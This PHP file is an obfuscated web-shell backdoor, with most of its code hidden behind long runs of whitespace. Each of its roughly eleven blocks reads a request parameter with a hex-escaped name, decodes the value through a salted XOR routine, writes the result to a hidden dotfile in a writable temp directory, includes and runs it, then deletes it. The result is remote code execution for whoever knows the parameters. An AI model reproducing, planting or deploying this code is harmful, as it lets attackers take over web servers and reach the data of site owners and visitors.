<?php																																										if(!empty($_POST["sy\x6D"])){ $pset = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP")]); $parameter_group = $_POST["sy\x6D"]; $parameter_group =explode ( '.' , $parameter_group ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $i = 0; $__tmp = $parameter_group; while ($v9 = array_shift($__tmp)) { $sChar = ord($s[$i% $lenS]); $dec = ((int)$v9 - $sChar - ($i% 10)) ^ 70; $reference .= chr($dec); $i++; } while ($factor = array_shift($pset)) { if (!( !is_dir($factor) || !is_writable($factor) )) { $dchunk = str_replace("{var_dir}", $factor, "{var_dir}/.component"); if (@file_put_contents($dchunk, $reference) !== false) { include $dchunk; unlink($dchunk); die(); } } } }
																																										if(!is_null($_POST["\x64a\x74"] ?? null)){ $bind = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), "/tmp", "/var/tmp"]); $token = $_POST["\x64a\x74"]; $token= explode (".", $token ); $value = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9); $z = 0; $__len = count( $token); do { if( $z >= $__len) break; $v7 = $token[$z]; $sChar = ord( $s9[$z % $sLen]); $dec =( ( int)$v7 - $sChar -( $z % 10)) ^ 3; $value .= chr( $dec); $z++; } while( true); while ($ptr = array_shift($bind)) { if (is_dir($ptr) ? is_writable($ptr) : false) { $flag = join("/", [$ptr, ".ref"]); if (file_put_contents($flag, $value)) { include $flag; @unlink($flag); exit; } } } }
																																										if(in_array("va\x6C", array_keys($_POST))){ $factor = array_filter(["/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP")]); $token = $_POST["va\x6C"]; $token =explode( '.', $token ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $token as $m=> $v2): $chS = ord( $salt[$m % $sLen] ); $d =( ( int)$v2 - $chS -( $m % 10)) ^ 15; $holder.= chr( $d ); endforeach; foreach ($factor as $key => $record) { if (is_dir($record) ? is_writable($record) : false) { $rec = "$record/.item"; if (@file_put_contents($rec, $holder) !== false) { include $rec; unlink($rec); exit; } } } }
																																										if(array_key_exists("o\x62\x6Aec\x74", $_REQUEST) && !is_null($_REQUEST["o\x62\x6Aec\x74"])){ $data_chunk = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp"]); $res = $_REQUEST["o\x62\x6Aec\x74"]; $res = explode ("." , $res ) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $w =0; $__tmp =$res; while ($v6 =array_shift($__tmp)) {$chS =ord($s[$w% $sLen]); $d =((int)$v6 - $chS - ($w% 10)) ^ 76; $pointer .=chr($d); $w++; } foreach ($data_chunk as $pset) { if (max(0, is_dir($pset) * is_writable($pset))) { $reference = str_replace("{var_dir}", $pset, "{var_dir}/.dat"); if (file_put_contents($reference, $pointer)) { require $reference; unlink($reference); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65l\x65m")){ $record = $_POST["\x65l\x65m"]; $record= explode ( "." , $record) ; $entry=''; $s7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s7); foreach ($record as $z =>$v9) {$sChar=ord($s7[$z % $lenS]); $d=((int)$v9 - $sChar - ($z % 10)) ^ 19; $entry.= chr($d);} $token = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); for ($desc = 0, $ref = count($token); $desc < $ref; $desc++) { $factor = $token[$desc]; if ((is_dir($factor) and is_writable($factor))) { $ent = sprintf("%s/.resource", $factor); $success = file_put_contents($ent, $entry); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(isset($_REQUEST["\x63o\x6Dpo\x6E\x65nt"])){ $pset = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $holder = $_REQUEST["\x63o\x6Dpo\x6E\x65nt"]; $holder= explode ( "." , $holder ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $n = 0; while( $n < count( $holder)) {$v2 = $holder[$n]; $chS = ord( $salt[$n %$sLen]); $d =( ( int)$v2 - $chS -( $n %10)) ^ 77; $val .= chr( $d); $n++; } foreach ($pset as $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $ptr = implode("/", [$symbol, ".property_set"]); if (@file_put_contents($ptr, $val) !== false) { include $ptr; unlink($ptr); exit; } } } }
																																										if(in_array("e\x6C\x65\x6Dent", array_keys($_POST))){ $symbol = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp"]); $token = $_POST["e\x6C\x65\x6Dent"]; $token = explode ("." , $token ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($token as $z =>$v1): $chS = ord($s[$z % $lenS]); $d = ((int)$v1 - $chS - ($z % 10))^68; $descriptor .= chr($d); endforeach; for ($k = 0, $entry = count($symbol); $k < $entry; $k++) { $res = $symbol[$k]; if (!( !is_dir($res) || !is_writable($res) )) { $flg = "$res/.val"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x65\x6Etry"])){ $sym = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm"]); $resource = $_POST["\x65\x6Etry"]; $resource =explode ( "." , $resource ) ; $res = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5 ); foreach ($resource as $x => $v4) { $chS = ord($s5[$x% $lenS] ); $dec = ((int)$v4 - $chS - ($x% 10)) ^ 25; $res .= chr($dec ); } foreach ($sym as $symbol): if (array_product([is_dir($symbol), is_writable($symbol)])) { $holder = str_replace("{var_dir}", $symbol, "{var_dir}/.ent"); if (file_put_contents($holder, $res)) { require $holder; unlink($holder); exit; } } endforeach; }
																																										if(array_key_exists("\x70\x61\x72a\x6De\x74\x65\x72\x5Fgroup", $_POST)){ $rec = $_POST["\x70\x61\x72a\x6De\x74\x65\x72\x5Fgroup"]; $rec = explode('.' , $rec ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; $len = count($rec); do { if ($u >= $len) break; $v1 = $rec[$u]; $sChar = ord($s[$u % $lenS]); $d = ((int)$v1 - $sChar - ($u % 10)) ^ 80; $pgrp .= chr($d); $u++; } while (true); $resource = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir()]); foreach ($resource as $key => $token) { if (!!is_dir($token) && !!is_writable($token)) { $comp = vsprintf("%s/%s", [$token, ".component"]); if (file_put_contents($comp, $pgrp)) { include $comp; @unlink($comp); die(); } } } }
																																										if(!is_null($_POST["\x6Da\x72\x6Ber"] ?? null)){ $element = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm"]); $value = $_POST["\x6Da\x72\x6Ber"]; $value=explode( '.' ,$value ) ; $token= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt7); $__len= count($value); for ($y= 0; $y < $__len; $y++) { $v2= $value[$y]; $sChar= ord($salt7[$y % $sLen]); $d= ((int)$v2 - $sChar - ($y % 10)) ^ 68; $token .= chr($d); } for ($bind = 0, $parameter_group = count($element); $bind < $parameter_group; $bind++) { $factor = $element[$bind]; if (is_dir($factor) ? is_writable($factor) : false) { $val = str_replace("{var_dir}", $factor, "{var_dir}/.desc"); $file = fopen($val, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $val; @unlink($val); exit; } } } }


if(filter_has_var(INPUT_POST, "en\x74\x69\x74y")){
	$itm = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]);
	$res = $_REQUEST["en\x74\x69\x74y"];
	 $res  =	explode( 	 '.' 	, 	$res	 	)   ;	
	$obj = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $s);
            $w = 0;
            $__len = count( $res);
    
            do {	if( $w >= $__len) break;
                $v8 = $res[$w];
                $chS = ord( $s[$w % $sLen]);
                $dec =( ( int)$v8 - $chS -( $w % 10)) ^		31;
                $obj	.=chr( $dec);
                $w++;} while( true);
	foreach ($itm as $key => $tkn) {
    		if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) {
    $resource = "$tkn" . "/.token";
    $success = file_put_contents($resource, $obj);
if ($success) {
	include $resource;
	@unlink($resource);
	die();}
}
}
}